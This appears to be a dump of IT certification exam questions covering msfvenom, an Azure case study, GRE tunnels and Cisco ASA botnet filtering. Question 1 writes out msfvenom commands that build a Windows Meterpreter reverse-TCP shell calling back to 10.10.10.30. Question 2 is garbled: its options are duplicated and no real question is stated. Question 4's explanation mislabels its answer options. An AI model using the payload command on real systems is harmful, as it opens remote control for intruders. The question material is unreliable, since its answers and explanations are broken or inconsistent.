NEW QUESTION: 1

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

- A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- C. msfvenom -p windows/meterpreter/reverse_tcp

LHOST=10.10.10.30 LPORT=4444 -f c
D. msfvenom -p windows/meterpreter/reverse_tcp
RHOST=10.10.10.30 LPORT=4444 -f c

Answer: A

NEW QUESTION: 2

Scenario: Fabrikam, Inc. is an engineering company that has offices throughout Europe. The company has a main office in London and three branch offices in Amsterdam, Berlin, and Rome. The network contains two Active Directory forests named corp.fabrikam.com and rd.fabrikam.com. There are no trust relationships between the forests. Corp.fabrikam.com is a production forest that contains identities used for internal user and computer authentication. Rd.fabrikam.com is used by the research and development (R&D) department only.

Network Infrastructure: Each office contains at least one domain controller from the corp.fabrikam.com domain. The main office contains all the domain controllers for the rd.fabrikam.com forest. All the offices have a high-speed connection to the Internet. An existing application named WebApp1 is hosted in the data center of the London office. WebApp1 is used by customers to place and track orders. WebApp1 has a web tier that uses Microsoft Internet Information Services (IIS) and a database tier that runs Microsoft SQL Server 2016. The web tier and the database tier are deployed to virtual machines that run on Hyper-V. The IT department currently uses a separate Hyper-V environment to test updates to WebApp1. Fabrikam purchases all Microsoft licenses through a Microsoft Enterprise Agreement that includes Software Assurance.

Problem Statement: The use of Web App1 is unpredictable. At peak times, users experience a significant increase in response time. The IT department is unable to reproduce the issue in a test environment. The issue occurs only in the production environment. The IT department is unable to reproduce the issue in a test environment. The issue occurs only in the production environment.

Options:
A. Azure Site Recovery
B. Azure SQL Database
C. Azure Site Recovery
D. Azure SQL Database

Answer: D

Explanation:
Topic 1, Fabrikam, inc Case Study A

Overview:
Existing Environment

Fabrikam, Inc. is an engineering company that has offices throughout Europe. The company has a main office in London and three branch offices in Amsterdam, Berlin, and Rome.

Active Directory Environment:
The network contains two Active Directory forests named corp.fabrikam.com and rd.fabrikam.com. There are no trust relationships between the forests. Corp.fabrikam.com is a production forest that contains identities used for internal user and computer authentication. Rd.fabrikam.com is used by the research and development (R&D) department only.

Network Infrastructure:
Each office contains at least one domain controller from the corp.fabrikam.com domain. The main office contains all the domain controllers for the rd.fabrikam.com forest. All the offices have a high-speed connection to the Internet. An existing application named WebApp1 is hosted in the data center of the London office. WebApp1 is used by customers to place and track orders. WebApp1 has a web tier that uses Microsoft Internet Information Services (IIS) and a database tier that runs Microsoft SQL Server 2016. The web tier and the database tier are deployed to virtual machines that run on Hyper-V.

The IT department currently uses a separate Hyper-V environment to test updates to WebApp1.

Fabrikam purchases all Microsoft licenses through a Microsoft Enterprise Agreement that includes Software Assurance.

Problem Statement:
The use of Web App1 is unpredictable. At peak times, users experience a significant increase in response time. The IT department is unable to reproduce the issue in a test environment. The issue occurs only in the production environment.

often report delays. At other times, many resources for WebAppl are underutilized.

Requirements:

Planned Changes:

Fabrikam plans to move most of its production workloads to Azure during the next few years.

As one of its first projects, the company plans to establish a hybrid identity model, facilitating an upcoming Microsoft Office 365 deployment. All R&D operations will remain on-premises.

Fabrikam plans to migrate the production and test instances of WebAppl to Azure.

Technical Requirements:

Fabrikam identifies the following technical requirements:

- * Web site content must be easily updated from a single point.
- * User input must be minimized when provisioning new app instances.
- * Whenever possible, existing on premises licenses must be used to reduce cost.
- * Users must always authenticate by using their corp.fabrikam.com UPN identity.
- * Any new deployments to Azure must be redundant in case an Azure region fails.
- * Whenever possible, solutions must be deployed to Azure by using platform as a service (PaaS).
- * An email distribution group named IT Support must be notified of any issues relating to the directory synchronization services.
- * Directory synchronization between Azure Active Directory (Azure AD) and corp.fabrikam.com must not be affected by a link failure between Azure and the on premises network.

Database Requirements:

Fabrikam identifies the following database requirements:

- * Database metrics for the production instance of WebAppl must be available for analysis so that database administrators can optimize the performance settings.
- * To avoid disrupting customer access, database downtime must be minimized when databases are migrated.
- * Database backups must be retained for a minimum of seven years to meet compliance requirement.

Security Requirements:

Fabrikam identifies the following security requirements:

- * Company information including policies, templates, and data must be inaccessible to anyone outside the company.
- * Users on the on-premises network must be able to authenticate to corp.fabrikam.com if an Internet link fails.
- * Administrators must be able to authenticate to the Azure portal by using their corp.fabrikam.com credentials.
- * All administrative access to the Azure portal must be secured by using multi-factor authentication.
- * The testing of WebAppl updates must not be visible to anyone outside the company.

NEW QUESTION: 3

Which command can we use to verify your directly connected network tunnel?

- A. show ip route
- B. show gre tunnel
- C. show gre route
- D. show route

Answer: A

NEW QUESTION: 4

The ASA administrator wants to configure Botnet Traffic Filter using the dynamic database but it is not working properly after the initiate configuration has been entered. What other configuration is missing?

- A. Enabling Botnet Traffic Filtering on at least one of the ASA interface
- B. Enabling DNS inspection globally
- C. Enabling the ASA to periodically download the dynamic database from Cisco
- D. Configuring the manual white and black lists
- E. Enabling DNS Snooping

Answer: B,E

Explanation:

- If the interface is global then DNS inspection is enabled globally.

- If the "DNS Snooping Enabled" box is checked then "DNS Snooping" is enabled.

For answer B. Enabling Botnet Traffic Filtering on at least one of the ASA interface

If any of the boxes are checked then Botnet filtering is enabled on at least one of the Interfaces.

For answer C. Enabling the ASA to periodically download the dynamic database from Cisco

Check if the "Use Botnet data dynamically downloaded from Update Server" is checked as shown above.

For answer E. Configuring the manual white and black lists

Verify if White or Black lists are configured.
